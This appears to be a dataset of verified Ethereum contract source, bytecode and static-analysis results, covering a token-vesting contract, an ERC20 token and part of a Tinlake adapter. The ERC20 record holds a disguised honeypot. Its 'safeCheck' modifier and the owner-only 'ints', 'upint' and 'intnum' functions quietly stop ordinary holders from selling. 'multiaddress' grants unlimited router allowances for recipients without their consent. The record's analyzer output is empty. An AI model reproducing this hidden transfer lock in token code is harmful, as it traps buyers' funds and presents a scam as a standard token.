_start.add(_cliff); start = _start; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); Released(unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); Revoked(); } /** * @dev Calculates the amount that has already vested but hasn&#39;t been released yet. * @param token ERC20 token which is being vested */ function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (now < cliff) { return 0; } else if (now >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(now.sub(start)).div(duration); } } } // File: contracts/LiteXTokenVesting.sol /** * token will released by divider like this: * * if divider is one month, _cliff is zero, _duration is one year, total vesting token is 12000 * Jan 30th will not release any token * Jan 31st will release 1000 * Feb 1 will not release any token * Feb 28th will release 1000 * ……………… * ……………… * Dec 31st will release 1000 */ contract LiteXTokenVesting is TokenVesting { uint256 public divider; function LiteXTokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, uint256 _divider, bool _revocable) TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable) public { require(_beneficiary != address(0)); require(_cliff <= _duration); require(_divider <= duration); divider = _divider; } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (now < cliff) { return 0; } if (now >= start.add(duration) || revoked[token]) { return totalBalance; } return totalBalance.mul(now.sub(start).div(divider).mul(divider)).div(duration); } }
0x6060604052600436106100ab5763ffffffff60e060020a6000350416630fb5a6b481146100b057806313d033c0146100d55780631726cbc8146100e85780631916558714610107578063378efa3714610128578063384711cc1461013b57806338af3eed1461015a57806374a8f103146101895780638da5cb5b146101a85780639852595c146101bb578063be9a6555146101da578063f2fde38b146101ed578063fa01dc061461020c575b600080fd5b34156100bb57600080fd5b6100c361023f565b60405190815260200160405180910390f35b34156100e057600080fd5b6100c3610245565b34156100f357600080fd5b6100c3600160a060020a036004351661024b565b341561011257600080fd5b610126600160a060020a0360043516610283565b005b341561013357600080fd5b6100c361032f565b341561014657600080fd5b6100c3600160a060020a0360043516610335565b341561016557600080fd5b61016d61048e565b604051600160a060020a03909116815260200160405180910390f35b341561019457600080fd5b610126600160a060020a036004351661049d565b34156101b357600080fd5b61016d6105f0565b34156101c657600080fd5b6100c3600160a060020a03600435166105ff565b34156101e557600080fd5b6100c3610611565b34156101f857600080fd5b610126600160a060020a0360043516610617565b341561021757600080fd5b61022b600160a060020a03600435166106b2565b604051901515815260200160405180910390f35b60045481565b60025481565b600160a060020a03811660009081526006602052604081205461027d9061027184610335565b9063ffffffff6106c716565b92915050565b600061028e8261024b565b90506000811161029d57600080fd5b600160a060020a0382166000908152600660205260409020546102c6908263ffffffff6106d916565b600160a060020a038084166000818152600660205260409020929092556001546102f89291168363ffffffff6106f316565b7ffb81f9b30d73d830c3544b34d827c08142579ee75710b490bab0b3995468c5658160405190815260200160405180910390a15050565b60085481565b600080600083600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561039157600080fd5b6102c65a03f115156103a257600080fd5b5050506040518051600160a060020a0386166000908152600660205260409020549093506103d89150839063ffffffff6106d916565b90506002544210156103ed5760009250610487565b6004546003546104029163ffffffff6106d916565b421015806104285750600160a060020a03841660009081526007602052604090205460ff165b1561043557809250610487565b61048460045461045f61047760085461046b60085461045f600354426106c790919063ffffffff16565b9063ffffffff61077816565b9063ffffffff61078f16565b849063ffffffff61078f16565b92505b5050919050565b600154600160a060020a031681565b600080548190819033600160a060020a039081169116146104bd57600080fd5b60055460ff1615156104ce57600080fd5b600160a060020a03841660009081526007602052604090205460ff16156104f457600080fd5b83600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561054b57600080fd5b6102c65a03f1151561055c57600080fd5b5050506040518051905092506105718461024b565b9150610583838363ffffffff6106c716565b600160a060020a038086166000818152600760205260408120805460ff19166001179055549293506105be929091168363ffffffff6106f316565b7f44825a4b2df8acb19ce4e1afba9aa850c8b65cdb7942e2078f27d0b0960efee660405160405180910390a150505050565b600054600160a060020a031681565b60066020526000908152604090205481565b60035481565b60005433600160a060020a0390811691161461063257600080fd5b600160a060020a038116151561064757600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60076020526000908152604090205460ff1681565b6000828211156106d357fe5b50900390565b6000828201838110156106e857fe5b8091505b5092915050565b82600160a060020a031663a9059cbb838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561075057600080fd5b6102c65a03f1151561076157600080fd5b50505060405180519050151561077357fe5b505050565b600080828481151561078657fe5b04949350505050565b6000808315156107a257600091506106ec565b508282028284828115156107b257fe5b04146106e857fe00a165627a7a72305820796a7b045ec724d829cb385ec87b8e5e99651bf6b3589a6479f728d38c16d67b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,018
0x9124d868aba6e5099f966ba74e791eaa2d9ed701
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_ALICE(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ed59e8df986879f20682f5db64686fe580b990dd536caca1f7a343d110aa659164736f6c63430006060033
{"success": true, "error": null, "results": {}}
10,019
0x2A9798c6F165B6D60Cfb923Fe5BFD6f338695D9B
/** *Submitted for verification at Etherscan.io on 2021-07-12 */ /// tinlake_manager.sol -- Tinlake dss adapter // 2020 Lucas Vogelsang <[email protected]>, // 2020 Martin Lundfall <[email protected]> // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity =0.5.12; interface GemLike { function decimals() external view returns (uint256); function transfer(address,uint256) external returns (bool); function transferFrom(address,address,uint256) external returns (bool); function approve(address,uint256) external returns (bool); function totalSupply() external returns (uint256); function balanceOf(address) external returns (uint256); } interface JoinLike { function join(address,uint256) external; function exit(address,uint256) external; } interface EndLike { function debt() external returns (uint256); } interface RedeemLike { function redeemOrder(uint256) external; function disburse(uint256) external returns (uint256,uint256,uint256,uint256); } interface VatLike { function urns(bytes32,address) external returns (uint256,uint256); function ilks(bytes32) external returns (uint256,uint256,uint256,uint256,uint256); function live() external returns(uint); } interface GemJoinLike { function gem() external returns (address); function ilk() external returns (bytes32); } interface MIP21UrnLike { function lock(uint256 wad) external; function free(uint256 wad) external; // n.b. DAI can only go to the output conduit function draw(uint256 wad) external; // n.b. anyone can wipe function wipe(uint256 wad) external; function quit() external; function gemJoin() external returns (address); } interface MIP21LiquidationLike { function ilks(bytes32 ilk) external returns (string memory, address, uint48, uint48); } contract TinlakeManager { // --- Auth --- mapping (address => uint256) public wards; function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } modifier auth { require(wards[msg.sender] == 1, "TinlakeMgr/not-authorized"); _; } // Events event Rely(address indexed usr); event Deny(address indexed usr); event Draw(uint256 wad); event Wipe(uint256 wad); event Join(uint256 wad); event Exit(uint256 wad); event Tell(uint256 wad); event Unwind(uint256 payBack); event Cull(uint256 tab); event Recover(uint256 recovered, uint256 payBack); event Cage(); event File(bytes32 indexed what, address indexed data); event Migrate(address indexed dst); bool public safe; // Soft liquidation not triggered bool public glad; // Write-off not triggered bool public live; // Global settlement not triggered uint256 public tab; // Dai owed // --- Contracts --- // dss components VatLike public vat; GemLike public dai; EndLike public end; address public vow; JoinLike public daiJoin; // Tinlake components GemLike public gem; RedeemLike public pool; // MIP21 RWAUrn MIP21UrnLike public urn; MIP21LiquidationLike public liq; address public tranche; address public owner; constructor(address dai_, address daiJoin_, address drop_, address pool_, address tranche_, address end_, address vat_, address vow_ ) public { dai = GemLike(dai_); daiJoin = JoinLike(daiJoin_); vat = VatLike(vat_); vow = vow_; end = EndLike(end_); gem = GemLike(drop_); pool = RedeemLike(pool_); wards[msg.sender] = 1; emit Rely(msg.sender); safe = true; glad = true; live = true; tranche = tranche_; } // --- Math --- uint256 constant RAY = 10 ** 27; function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } function divup(uint256 x, uint256 y) 